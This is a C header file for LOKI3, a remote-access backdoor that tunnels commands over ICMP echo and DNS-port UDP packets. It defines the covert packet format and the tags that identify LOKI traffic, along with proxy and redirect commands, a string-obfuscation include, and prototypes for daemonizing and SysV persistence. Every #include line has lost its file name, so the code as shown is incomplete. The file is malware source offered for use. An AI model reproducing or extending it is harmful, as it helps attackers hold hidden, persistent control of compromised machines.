#pragma once /* * LOKI3 * * loki header file * * 1996/7 Guild Corporation Productions [daemon9] */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "cstrobf.h" #ifdef LINUX #include /* musl doesn't supply linux/icmp.h or linux/ip.h */ #define ICMP_ECHO 8 #define ICMP_ECHOREPLY 0 /* BSDish nomenclature */ #define ip iphdr #define ip_v version #define ip_hl ihl #define ip_len tot_len #define ip_ttl ttl #define ip_p protocol #define ip_dst daddr #define ip_src saddr #endif /* LINUX */ #ifdef BSD4 #include #include #include #include #include #include #include #include #include #include #undef icmp_id #undef icmp_seq #define ip_dst ip_dst.s_addr #define ip_src ip_src.s_addr #endif #ifdef SOLARIS #include #include #include #include #include #include #include #include #include #include #include #include #include #undef icmp_id #undef icmp_seq #define ip_dst ip_dst.s_addr #define ip_src ip_src.s_addr #endif #ifdef BROKEN_IP_LEN #define FIX_LEN(n) (x) /* FreeBSD needs this */ #else #define FIX_LEN(n) htons(n) #endif /* * Net/3 will not pass ICMP_ECHO packets to user processes. */ #ifdef NET3 #define D_P_TYPE ICMP_ECHO #define C_P_TYPE ICMP_ECHOREPLY #else #define D_P_TYPE ICMP_ECHOREPLY #define C_P_TYPE ICMP_ECHO #endif #ifdef WEAK_CRYPTO #define CRYPTO_TYPE "XOR" #endif #ifdef NO_CRYPTO #define CRYPTO_TYPE "none" #endif /* Start user configurable options */ #define MIN_TIMEOUT 3 /* minimum client-side alarm timeout */ #define MAX_RETRAN 3 /* maximum client-side timeout/retry amount */ #define MAX_CLIENT 10 /* maximum server-side client count */ #define KEY_TIMER 600 /* maximum server-side idle client TTL */ /* End user configurable options */ #define VERSION "3.0" #define BUFSIZE 0x38 /* We build packets with a fixed payload. * Fine for ICMP_ECHO/ECHOREPLY packets as they * often default to a 56 byte payload. However * DNS query/reply packets have no set size and * are generally oddly sized with no padding. */ #define ICMPH_SIZE 8 #define UDPH_SIZE 8 #define NL_PORT htons(0x35) #define PROMPT "loki> " #define ENCR 1 /* symbolic for encrypt */ #define DECR 0 /* symbolic for decrypt */ #define NOCR 1 /* don't encrypt this packet */ #define OKCR 0 /* encrypt this packet */ #define OK 1 /* Positive acknowledgement */ #define NOK 0 /* Negative acknowledgement */ #define NNOK -1 /* Really negative acknowledgement */ #define FIND 1 /* Controls locate_client */ #define DESTROY 2 /* disposition */ /* LOKI packet type symbolics */ #define L_TAG 0xf001 /* Tags packets as LOKI */ #define L_PK_REQ 0xa1 /* Public Key request packet */ #define L_PK_REPLY 0xa2 /* Public Key reply packet */ #define L_EOK 0xa3 /* Encrypted ok */ #define L_REQ 0xb1 /* Standard reuqest packet */ #define L_REPLY 0xb2 /* Standard reply packet */ #define L_ERR 0xc1 /* Error of some kind */ #define L_ACK 0xd1 /* Acknowledgement */ #define L_QUIT 0xd2 /* Receiver should exit */ #define L_EOT 0xf1 /* End Of Transmission packet */ /* Packet type printing macro */ #ifdef DEBUG #define PACKET_TYPE(ldg)\ \ if (ldg.payload[0] == 0xa1) fprintf(stderr, "Public Key Request"); \ else if (ldg.payload[0] == 0xa2) fprintf(stderr, "Public Key Reply"); \ else if (ldg.payload[0] == 0xa3) fprintf(stderr, "Encrypted OK"); \ else if (ldg.payload[0] == 0xb1) fprintf(stderr, "Client Request"); \ else if (ldg.payload[0] == 0xb2) fprintf(stderr, "Server Reply"); \ else if (ldg.payload[0] == 0xc1) fprintf(stderr, "Error"); \ else if (ldg.payload[0] == 0xd1) fprintf(stderr, "ACK"); \ else if (ldg.payload[0] == 0xd2) fprintf(stderr, "QUIT"); \ else if (ldg.payload[0] == 0xf1) fprintf(stderr, "Server EOT"); \ else fprintf(stderr, "Unknown"); \ if (prot == IPPROTO_ICMP) fprintf(stderr, ", ICMP type: %d\n", ldg.ttype.icmph.icmp_type);\ else fprintf(stderr, "\n");\ #define DUMP_PACKET(ldg, i)\ \ for (i = 0; i < BUFSIZE; i++) fprintf(stderr, "0x%x ",ldg.payload[i]); \ fprintf(stderr, "\n");\ #endif /* * Escaped commands (not interpreted by the shell) */ #define HELP "/help" /* Help me */ #define TIMER "/timer" /* Change the client side timer */ #define QUIT_C "/quit" /* Quit the client */ #define QUIT_ALL "/quit all" /* Kill all clients and server */ #define STAT_C "/stat" /* Stat the client */ #define STAT_ALL "/stat all" /* Stat all the clients */ #define SWAP_T "/swapt" /* Swap protocols */ #define REDIR_C "/redirect" /* Redirect to another client */ #define PROXY_D "/proxy" /* Proxy to another server */ /* * Control flag symbolics */ #define TERMINATE 0x01 #define TRAP 0x02 #define VALIDC 0x04 #define VALIDP 0x08 #define NEWTRANS 0x10 #define REDIRECT 0x20 #define PROXY 0x40 #define SENDKILL 0x80 /* * Message Strings * L_ == common to both server and client * S_ == specific to server * C_ == specific to client */ #define L_MSG_BANNER "\nLOKI3 dmfr [(c) 2019-3000 Elective Surgery]\n" #define L_MSG_NOPRIV "\n[fatal] invalid user identification value" #define L_MSG_SOCKET "[fatal] socket allocation error" #define L_MSG_ICMPONLY "\nICMP protocol only with strong cryptography\n" #define L_MSG_ATEXIT "[fatal] cannot register with atexit(2)" #define L_MSG_DHKEYGEN "generating Diffie-Hellman parameters and keypair" #define L_MSG_DHKGFAIL "\n[fatal] Diffie-Hellman key generation failure\n" #define L_MSG_SIGALRM "[fatal] cannot catch SIGALRM" #define L_MSG_SIGUSR1 "[fatal] cannot catch SIGUSR1" #define L_MSG_WIERDERR "\n[SUPER fatal] control should NEVER fall here\n" #define S_MSG_PACKED "\nlokid: server is currently at capacity. Try again later\n" #define C_MSG_USAGE "\nloki -d dest -p (i|u) [ -v (0|1) ] [ -t (n>3) ]\n" #define C_MSG_TIMEOUT "\nloki: no response from server (expired timer)\n" #define C_MSG_MUSTQUIT "\nloki: received termination directive from server\n" /* * Macros to evaluate packets to determine if they are LOKI or not. * These are UGLY. */ /* * ICMP_ECHO client packet check */ #define IS_GOOD_ITYPE_C(ldg)\ \ (i_check((uint16_t *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\ ldg.ttype.icmph.icmp_type == D_P_TYPE &&\ ldg.ttype.icmph.icmp_id == loki_id &&\ ldg.ttype.icmph.icmp_seq == L_TAG &&\ (ldg.payload[0] == L_REPLY ||\ ldg.payload[0] == L_PK_REPLY ||\ ldg.payload[0] == L_EOT ||\ ldg.payload[0] == L_QUIT ||\ ldg.payload[0] == L_ERR)) ==\ (1) ? (1) : (0)\ /* * ICMP_ECHO daemon packet check */ #define IS_GOOD_ITYPE_D(ldg)\ \ (i_check((uint16_t *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\ ldg.ttype.icmph.icmp_type == C_P_TYPE &&\ ldg.ttype.icmph.icmp_seq == L_TAG &&\ (ldg.payload[0] == L_REQ ||\ ldg.payload[0] == L_QUIT ||\ ldg.payload[0] == L_PK_REQ)) ==\ (1) ? (1) : (0)\ /* * UDP client packet check */ #define IS_GOOD_UTYPE_C(ldg)\ \ (i_check((uint16_t *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\ ldg.ttype.udph.uh_sport == NL_PORT &&\ ldg.ttype.udph.uh_dport == loki_id &&\ (ldg.payload[0] == L_REPLY ||\ ldg.payload[0] == L_EOT ||\ ldg.payload[0] == L_QUIT ||\ ldg.payload[0] == L_ERR)) ==\ (1) ? (1) : (0)\ /* * UDP daemon packet check. Yikes. We need more info here. */ #define IS_GOOD_UTYPE_D(ldg)\ \ (i_check((uint16_t *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\ ldg.ttype.udph.uh_dport == NL_PORT &&\ (ldg.payload[0] == L_QUIT ||\ ldg.payload[0] == L_REQ)) ==\ (1) ? (1) : (0)\ /* * ICMP_ECHO / ICMP_ECHOREPLY header prototype */ struct icmp_echo { uint8_t icmp_type; /* 1 byte type */ uint8_t icmp_code; /* 1 byte code */ uint16_t icmp_cksum; /* 2 byte checksum */ uint16_t icmp_id; /* 2 byte identification */ uint16_t icmp_seq; /* 2 byte sequence number */ }; /* * UDP header prototype */ struct udp { uint16_t uh_sport; /* 2 byte source port */ uint16_t uh_dport; /* 2 byte destination port */ uint16_t uh_ulen; /* 2 byte length */ uint16_t uh_sum; /* 2 byte checksum */ }; /* * LOKI packet prototype */ struct loki { struct ip iph; /* IP header */ union { struct icmp_echo icmph; /* ICMP header */ struct udp udph; /* UDP header */ }ttype; uint8_t payload[BUFSIZE]; /* data payload */ }; #define LOKIP_SIZE sizeof(struct loki) #define LP_DST rdg.iph.ip_src void blur(int, int, uint8_t *); /* Symmetric encryption function */ char *host_lookup(uint32_t); /* network byte -> human readable */ uint32_t name_resolve(char *); /* human readable -> network byte */ uint16_t i_check(uint16_t *, int); /* Ah yes, the IP family checksum */ int c_parse(uint8_t *, int *); /* parse escaped commands [client] */ void d_parse(uint8_t *, pid_t, int); /* parse escaped commands [server] */ /* build and transmit LOKI packets */ void loki_xmit(uint8_t *, uint16_t, int, struct sockaddr_in, int); int lokid_xmit(uint8_t *, uint32_t, int, int); void err_exit(int, int, int, char *); /* handle exit with reason */ void clean_exit(int); /* exit cleanly */ void help(); /* lala */ void shadow(); /* daemonizing routine */ void swap_t(int); /* swap protocols [server-side] */ void reaper(int); /* prevent zombies */ void catch_timeout(int); /* ALARM signal catcher */ void client_expiry_check(); /* expire client from shm */ void prep_shm(); /* Prepare shm ans semaphore */ void dump_shm(); /* detach shm */ void packets_read(); /* packets read (client) */ void fd_status(int, int); /* dumps fd stats */ #ifdef PERSISTENCE void handle_sigterm(int); /* SIGTERM handler */ void unlink_persistence(); /* remove SysV service persistence */ #endif /* PERSISTENCE */ /* EOF */